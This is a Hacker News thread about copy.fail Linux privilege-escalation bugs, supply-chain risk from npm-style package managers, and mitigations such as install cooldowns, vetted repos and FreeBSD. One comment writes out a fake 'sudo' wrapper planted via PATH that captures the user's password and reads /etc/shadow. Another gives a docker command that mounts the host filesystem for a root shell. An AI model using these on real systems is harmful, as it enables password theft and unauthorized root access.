Birbla

Join the discussion

Write your take first — we'll ask for email only when you're ready to publish.

Sign in
  • Hacker News
  • I'm holding off on upgrading to Ubuntu 26.04 LTS until we have a few months of experience with the new release. Canonical just had a huge DDOS attack, and there might have been other attacks hidden in all that traffic.
    by Animats
  • There are at least two recent negative signals.

    https://news.ycombinator.com/item?id=47943499 - 44 CVEs trying to replace coreutils with a greenfield rust rewrite.

    https://news.ycombinator.com/item?id=47921079 - Shoehorning AI stuff into Ubuntu is the future.

    by turpentine
  • This advice is good even if there weren't security vulnerabilities. When I was a junior engineer I'd install a bunch of packages just willy nilly. My manager was like "stop installing packages for simple things. Just learn how they work and code it yourself."

    I've done that ever since. Of course, I still use packages like express and tailwindcss. But in the era of LLMs, using a package for something like react drop-downs is unnecessary.

    by abustamam
  • Linux distributions do not need Copy Fail to get root access:

        echo 'export PATH="$HOME/.local/bin:$PATH"' >> ~/.bashrc

    mkdir -p .local/bin/
    cat <<EOF >.local/bin/sudo
    read -rs -p "[sudo] password for $USER: " PASSWORD
    echo ""
    echo "$PASSWORD" | /usr/bin/sudo -S head /etc/shadow
    EOF

    chmod +x .local/bin/sudo
    attack on next sudo call, shows data accessible only to root.

    Our security model based on distributions verifying packages, that is distro maintainers. Software we can't trust should be running in VMs. Attack on trivy is just the beginning and solution is removing pip, uv, npm, rbenv from host, running in docker containers:

        $ docker run -it -v.:/app -w /app node:alpine /bin/sh
    long term environments defined in docker compose:

        $ docker-compose.yml
    services:
      app:
        image: node:alpine
        volumes:
          - .:/app
        working_dir: /app
        command: /bin/sh
    $ docker compose run app
    switch to Kata etc if more protection needed. Eventually all userspace would run in VMs.
    by sergeykish
  • Containerizing every app is what iOS / iPadOS already do.

    It is regularly pointed out as a drawback by Android users (e.g. "I can't run that doomscrolling blocker in iOS"), but from a security-model perspective it was visionary back in 2008.

    by harrouet
  • If `docker` is already there, why even bother with `sudo` when you can just:

        docker run --rm -it -v '/:/mnt' -u 'root' 'alpine' '/bin/sh' '-l'
    Chances are that the person who set up Docker didn't do it properly.
    by quectophoton
  • These copyfail exploits allow an unprivileged (daemon/app) user (not in sudoers) to get root without interaction from the original system maintainer.

    It's quite different from PATH-injecting an already privileged user.

    Also, these memory corruptions can likely be used as container escape primitives too. Albeit not easily.

    It's a serious break of a security boundary. Yes, container layer adds defense, and normal unix security isn't perfect, but it should not allow this.

    by kro
  • Can someone help me understand the copyfail thing and how it relates to NPM packages?

    Edit: I think I understand. copyfail is a kernel bug that lets a malicious npm package get root access on your Linux server, right?

    So now, while there are unpatched servers, is when it would be the perfect time for attackers to target NPM packages.

    And the advice isn't just "update your kernel" because we are still finding new related issues?

    by andai
  • npm can run on linux.
    by xena
  • > And the advice isn't just "update your kernel" because we are still finding new related issues?

    The advice isn't just "update your kernel" because there is no update. The latest vulnerability (the one discovered after copy.fail) still has no fix.

    by wavemode
  • The patches for the latest vulnerabilities aren’t even out yet. So it would be a real bad time for a new supply chain attack since it would get root on pretty much every system.
    by Gigachad
  • NPM supply-chain attacks spread really quickly.

    If a popular NPM package was compromised and included a copy.fail exploit, it would make lots of systems vulnerable to root privilege escalation.

    by ahpeeyem
  • I think what we have to start accepting even security experts is that our world is incredibly fragile. I think people realy understimate this. And I do not mean just the IT world but the entire world is built on many incredibly fragile balances. Security Exploits will always exist. Not just in software but in real life. Heck someone managed to Sneak into a Security Conference. And that guy was a random youtuber. Granted that was not like a high security thing. But thats just an example I had of the top of my head. Basically it is realy easy to circumvent security in most cases.

    What I want to say with that is fundamentally our world works because atleast most people do not abuse shit. That is fundamentally how human society has always worked, and will likely continue to do so.

    by mastermage
  • I remember there was a trend with some UK Influencers using some "Ladder and a High-vis" tricks to enter places for a while to show how rough physical security is [0]. I believe its the youtuber, Max Fosh, who managed to do it back to back at the International Security Expo, first in the UK [1] and then in the US [2], with the fake names 'Rob Banks' and 'Nick Everything'.

    I've studied security culture before and in most cases everything comes down to a sliding scale with security on one side and convenience/accessibility on the other, the more secure something is, the less accessible it is and vice versa.

    [0] https://www.youtube.com/watch?v=LTI0SeyhAPA

    [1] https://www.youtube.com/watch?v=qM3imMiERdU

    [2] https://www.youtube.com/watch?v=NmgLwxK8TvA

    by kaelyx
  • For the newer players who have gotten into continuous integration and containerized builds, consider checking on your systems to be sure you're not pulling 'latest' across a bunch of packages with every build.

    We set up our base containers with all the external dependencies already in them and then only update those explicitly when we decide it's time.

    This means we might be a bit behind the bleeding edge, but we're also taking on a lot less risk with random supply chain vulns getting instant global distribution.

    by anymouse123456
  • Additionally, use only internal repos.
    by pjmlp
  • Sounds like a good time to setup a test environment that does pull latest!
    by Melatonic
  • You'll also find your CI build times and flakey failures can be cut down massively by doing this.
    by anymouse123456
  • Sorry, I don't get it. What's the chain of reasoning that connects "there are a couple of new Linux local privilege escalation exploits" to "don't install any new software"? Is the threat we're supposed to be concerned about here just a package maintainer publishing malware that uses these exploits?

    (Naively, not knowing much about apt-get or yum or other OS package managers, I have always assumed that 1. only a handful of trusted people can publish to the default repos for system package managers and 2. that since I have to run `apt-get install` as root anyway, package installers can completely pwn my system if they want to and I am protected purely by trust. Is some of that wrong? If it's right, isn't it nonsensical to be any more worried about installing new packages in light of these vulns?)

    by XCabbage
  • Well one thing is, there are package updates that could masquerade a backdoor much like XZ Utils[1].

    The post in question points to dependency package managers however not system packages, such as NPM, which has pre and post build scripts, install scripts, etc.

    [1] https://en.wikipedia.org/wiki/XZ_Utils_backdoor

    by roskilli
  • There's already an okay solution to supply-chain attacks against dependency managers like npm, PyPI, and Cargo: set them to only install package versions that are more than a few days old. The recent high-profile attacks were all caught and rolled back within a day, so doing this would have let you safely avoid the attacks. It really should be the default behavior. Let self-selected beta testers and security scanner companies try out the newest versions of packages for a day before you try them. Instructions: https://cooldowns.dev/
    by AgentME
  • Even better, only use company vetted repos, everyone is forbidded to install directly from the Internet repos.

    This naturally doesn't work outside corporations.

    by pjmlp
  • IMO, the most sustainable version is either the linux distros/bsd ports/homebrew models. You don't push new libraries to the public registry, instead you write a packaging script that gets reviewed for every new changes.

    Another model is Perl's CPAN where you publish source files only.

    by skydhash
  • So you get security updates late too? Many vulnerabilities are in the wild for years before being noticed, and patched.

    Once noticed, that's where the exploit explosion erupts, excited exploiters everywhere, emboldened... enticed... excessively encouraged, by your delayed updates.

    by b112
  • More a case for something like this from Show HN three months ago

    https://github.com/artifact-keeper

    An artifact manager. Only get what you approve. So you can get fast updates when needed and consistently known stable when you need it. Does need a little config override - easy work.

    I had my own janky tooling for something like it. This is a good project.

    by edoceo
  • Alternatively, switch to an operating system like FreeBSD which doesn't take a YOLO approach to security. Security fixes don't just get tossed into the FreeBSD kernel without coordination; they go through the FreeBSD security team and we have binary updates (via FreeBSD Update, and via pkgbase for 15.0-RELEASE) published within a couple minutes of the patches hitting the src tree. (Roughly speaking, a few seconds for the "I've pushed the patches" message to go out on slack, 10-30 seconds for patches to be uploaded, and up to a minute for mirrors to sync).
    by cperciva
  • Been constructing a lot of infrastructure servers recently, almost all of them FreeBSD VMs running under bhyve on FreeBSD physical hosts. It's a very simple, clean, pleasant environment to work in. And they all run tarsnap. ;-)
    by f30e3dfed1c9
  • Has everyone here already forgotten about the WireGuard tire fire?

    https://lwn.net/Articles/850098

    https://news.ycombinator.com/item?id=26507507

    tl;dr: deeply insecure WireGuard implementation committed directly into the FreeBSD kernel with zero review.

    Was this process problem fixed?

    by homebrewer
  • Also funny they never show Debian in those tests/videos.
    by eahm
  • There’s always a guy. It’s great that your favorite distro is definitely safer. An order of magnitude fewer exploits will mean only a few thousand or so, I suppose. Ozymandis used Gentoo.
    by tclancy